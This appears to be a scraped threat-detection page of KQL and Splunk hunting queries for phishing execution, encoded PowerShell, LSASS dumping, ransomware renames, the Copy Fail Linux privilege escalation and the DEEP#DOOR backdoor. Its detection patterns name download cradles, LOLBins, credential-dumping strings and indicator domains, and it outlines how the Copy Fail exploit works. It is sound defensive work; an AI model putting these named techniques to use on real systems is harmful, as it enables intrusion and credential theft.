Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("robinhood.com", "anadnet.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("robinhood.com", "anadnet.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("robinhood.com", "anadnet.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — ThreatsDay Bulletin: SMS Blaster Busts, OpenEMR Flaws, 600K Roblox Hacks and 25
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("smbexec.py"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("smbexec.py"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — ThreatsDay Bulletin: SMS Blaster Busts, OpenEMR Flaws, 600K Roblox Hacks and 25 ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("smbexec.py"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("smbexec.py"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
2026-04-305 use cases1 technique3 kill-chain phases detected
An exploit has been published for a local privilege escalation vulnerability dubbed "Copy Fail" that impacts Linux kernels released since 2017, allowing an unprivileged local attacker to gain root permissions. [...]
CVEsCVE-2026-31431
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → [LLM] Copy Fail: setuid-root binary modified by non-package-manager process · [LLM] Copy Fail: algif_aead kernel module load by unprivileged or unexpected process · [LLM] Copy Fail: setuid binary executed within minutes of an out-of-band modification
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Article-specific behavioural hunt — New Linux ‘Copy Fail’ flaw gives hackers root on major distros
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-31431")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-31431")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Article-specific behavioural hunt — New Linux ‘Copy Fail’ flaw gives hackers root on major distrosInstallationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — New Linux ‘Copy Fail’ flaw gives hackers root on major distros
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/etc/modprobe.d/disable-algif.conf"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — New Linux ‘Copy Fail’ flaw gives hackers root on major distros ```
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/etc/modprobe.d/disable-algif.conf*")
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
[LLM] Copy Fail: setuid-root binary modified by non-package-manager processExploitationHigh
Hunts the post-exploitation signature of CVE-2026-31431. The Copy Fail exploit uses an AF_ALG socket + splice() to write 4 bytes into the page cache of a setuid-root binary (typically /usr/bin/su). Any modification of these binaries outside of dpkg/rpm/dnf/zypper/snapd is extremely rare and a strong indicator of Copy Fail (or a similar page-cache write LPE).
Rationale: The article and Theori's write-up explicitly state the Copy Fail PoC achieves root by overwriting 4 bytes in the page cache of a setuid binary such as /usr/bin/su. Modification of these specific binaries by non-package-manager processes is a near-zero-FP signal; cross-checked against CERT-EU advisory and Sysdig's detection guidance which call out the same target set.
Cross-checked against:
• https://xint.io/blog/copy-fail-linux-distributions
• https://cert.europa.eu/publications/security-advisories/2026-005/
• https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds
• https://www.openwall.com/lists/oss-security/2026/04/29/23
ATT&CKT1068T1548.001
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where ActionType in ("FileModified","FileCreated")
| where FolderPath in ("/usr/bin","/bin","/usr/sbin","/sbin")
| where FileName in ("su","sudo","passwd","chsh","chfn","mount","umount","newgrp","gpasswd","pkexec","crontab","ping","pppd","unix_chkpwd")
| where InitiatingProcessFileName !in~ ("dpkg","rpm","yum","dnf","zypper","apt","apt-get","unattended-upgrade","snapd","snap","update-alternatives","pacman","tar","cp","install","chmod","setcap")
| where InitiatingProcessAccountName != "root" or InitiatingProcessParentFileName !in~ ("systemd","init","cron")
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName, InitiatingProcessParentFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.process_name) as process_name values(Filesystem.process_path) as process_path values(Filesystem.process_exec) as process_exec from datamodel=Endpoint.Filesystem where Filesystem.action=modified Filesystem.file_path IN ("/usr/bin/su","/usr/bin/sudo","/usr/bin/passwd","/usr/bin/chsh","/usr/bin/chfn","/usr/bin/mount","/usr/bin/umount","/usr/bin/newgrp","/usr/bin/gpasswd","/usr/bin/pkexec","/usr/bin/crontab","/bin/su","/bin/mount","/bin/ping","/usr/sbin/pppd","/usr/sbin/unix_chkpwd","/usr/lib/dbus-1.0/dbus-daemon-launch-helper") by Filesystem.dest Filesystem.file_path Filesystem.user Filesystem.process_id | `drop_dm_object_name(Filesystem)` | where NOT match(process_name,"(?i)^(dpkg|rpm|yum|dnf|zypper|apt|apt-get|unattended-upgrade|snapd|snap|update-alternatives|pacman|tar|cp|install|chmod|setcap)$") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Copy Fail: algif_aead kernel module load by unprivileged or unexpected processExploitationMedium
Detects loading of the algif_aead kernel module — the precise interface abused by Copy Fail (CVE-2026-31431) — outside of normal boot / cryptsetup paths. Theori's mitigation guidance is to disable algif_aead entirely; legitimate workloads almost never autoload it interactively, so an unexpected modprobe/insmod of this module is highly suspicious.
Rationale: The article names algif_aead as the vulnerable kernel module and recommends disabling it as the interim mitigation. Detecting on-the-fly loads of this exact module is a high-fidelity, article-specific signal that something is reaching for the AF_ALG/AEAD interface; corroborated by CERT-EU which advises blocking AF_ALG socket creation as the canonical mitigation.
Cross-checked against:
• https://xint.io/blog/copy-fail-linux-distributions
• https://cert.europa.eu/publications/security-advisories/2026-005/
• https://www.helpnetsecurity.com/2026/04/30/copyfail-linux-lpe-vulnerability-cve-2026-31431/
ATT&CKT1068T1547.006
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName in~ ("modprobe","insmod","kmod")
| where ProcessCommandLine has_any ("algif_aead","algif_skcipher","algif_hash")
| where AccountName != "root" or InitiatingProcessFileName !in~ ("systemd","systemd-modules-load","cryptsetup","init","kmod","udevadm","dracut")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent_process_name values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.process_name IN ("modprobe","insmod","kmod") (Processes.process="*algif_aead*" OR Processes.process="*algif_skcipher*" OR Processes.process="*algif_hash*") by Processes.dest Processes.user Processes.process_name Processes.process_id | `drop_dm_object_name(Processes)` | where (user!="root") OR NOT match(parent_process_name,"(?i)^(systemd|systemd-modules-load|cryptsetup|init|kmod|udevadm|dracut)$") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Copy Fail: setuid binary executed within minutes of an out-of-band modificationExploitationHigh
Temporal correlation between an unauthorised modification of a setuid-root binary (the Copy Fail page-cache write target) and a subsequent execution of that same binary by a non-root user. The PoC writes 4 bytes into /usr/bin/su (or similar) and then immediately invokes it to obtain a root shell — a unique behavioural sequence not produced by package upgrades.
Rationale: The article describes the exploit as deterministic and 100% reliable — write 4 bytes into the page cache of a setuid binary, then immediately invoke that binary to land a root shell. Correlating the file modification with same-binary execution within a short window yields a uniquely Copy-Fail-shaped sequence. Validated against Theori's PoC walkthrough on copy.fail and Sysdig's detection guidance.
Cross-checked against:
• https://xint.io/blog/copy-fail-linux-distributions
• https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds
• https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/
ATT&CKT1068T1548.001
Data sourcesEndpoint.FilesystemEndpoint.Processes
let Window = 5m;
let Targets = dynamic(["su","sudo","passwd","pkexec","chsh","chfn","mount","newgrp","gpasswd"]);
let Modified = DeviceFileEvents
| where ActionType in ("FileModified","FileCreated")
| where FolderPath in ("/usr/bin","/bin")
| where FileName in (Targets)
| where InitiatingProcessFileName !in~ ("dpkg","rpm","yum","dnf","zypper","apt","apt-get","snapd","snap","update-alternatives","pacman")
| project ModTime=Timestamp, DeviceId, DeviceName, SuidPath=strcat(FolderPath,"/",FileName), ModifyingProcess=InitiatingProcessFileName, ModifyingUser=InitiatingProcessAccountName;
let Executed = DeviceProcessEvents
| where FolderPath in ("/usr/bin","/bin") and FileName in (Targets)
| project ExecTime=Timestamp, DeviceId, SuidPath=strcat(FolderPath,"/",FileName), ExecUser=AccountName, ExecParent=InitiatingProcessFileName, ExecCmd=ProcessCommandLine;
Modified
| join kind=inner Executed on DeviceId, SuidPath
| where ExecTime between (ModTime .. ModTime + Window)
| extend DeltaSeconds = datetime_diff('second', ExecTime, ModTime)
| project ModTime, ExecTime, DeltaSeconds, DeviceName, SuidPath, ModifyingProcess, ModifyingUser, ExecUser, ExecParent, ExecCmd
| tstats `summariesonly` min(_time) as mod_time values(Filesystem.process_name) as modifying_process values(Filesystem.user) as modifying_user from datamodel=Endpoint.Filesystem where Filesystem.action=modified Filesystem.file_path IN ("/usr/bin/su","/usr/bin/sudo","/usr/bin/passwd","/usr/bin/pkexec","/usr/bin/chsh","/usr/bin/chfn","/usr/bin/mount","/usr/bin/newgrp","/usr/bin/gpasswd","/bin/su","/bin/mount") by Filesystem.dest Filesystem.file_path | `drop_dm_object_name(Filesystem)` | rename file_path as suid_path | join type=inner dest suid_path [ | tstats `summariesonly` min(_time) as exec_time values(Processes.user) as exec_user values(Processes.parent_process_name) as parent_process_name from datamodel=Endpoint.Processes where Processes.process_path IN ("/usr/bin/su","/usr/bin/sudo","/usr/bin/passwd","/usr/bin/pkexec","/usr/bin/chsh","/usr/bin/chfn","/usr/bin/mount","/usr/bin/newgrp","/usr/bin/gpasswd","/bin/su","/bin/mount") by Processes.dest Processes.process_path | `drop_dm_object_name(Processes)` | rename process_path as suid_path ] | eval delta_seconds=exec_time-mod_time | where delta_seconds>=0 AND delta_seconds<=300 | where NOT match(modifying_process,"(?i)^(dpkg|rpm|yum|dnf|zypper|apt|apt-get|snapd|snap|update-alternatives|pacman)$") | table dest suid_path mod_time exec_time delta_seconds modifying_user modifying_process exec_user parent_process_name
2026-04-3018 use cases9 techniques6 kill-chain phases detected
Cybersecurity researchers have disclosed details of a stealthy Python-based backdoor framework called DEEP#DOOR that comes with capabilities to establish persistent access and harvest a wide range of sensitive information from compromised hosts. "The intrusion chain begins with execution of a batch script ('install_obf.bat') that disables Windows security controls, dynamically extracts an
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — New Python Backdoor Uses Tunneling Service to Steal Browser and Cloud Credential
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · Scheduled task created with suspicious image / encoded args · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] DEEP#DOOR install_obf.bat self-extracting Python via #PYTHON_START/#PYTHON_END delimiters · [LLM] DEEP#DOOR watchdog: Python process creates Startup + Run key + Scheduled Task in burst
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] DEEP#DOOR C2 over bore.pub Rust TCP tunnel from Python interpreter
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("bore.pub")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("bore.pub")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("bore.pub")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
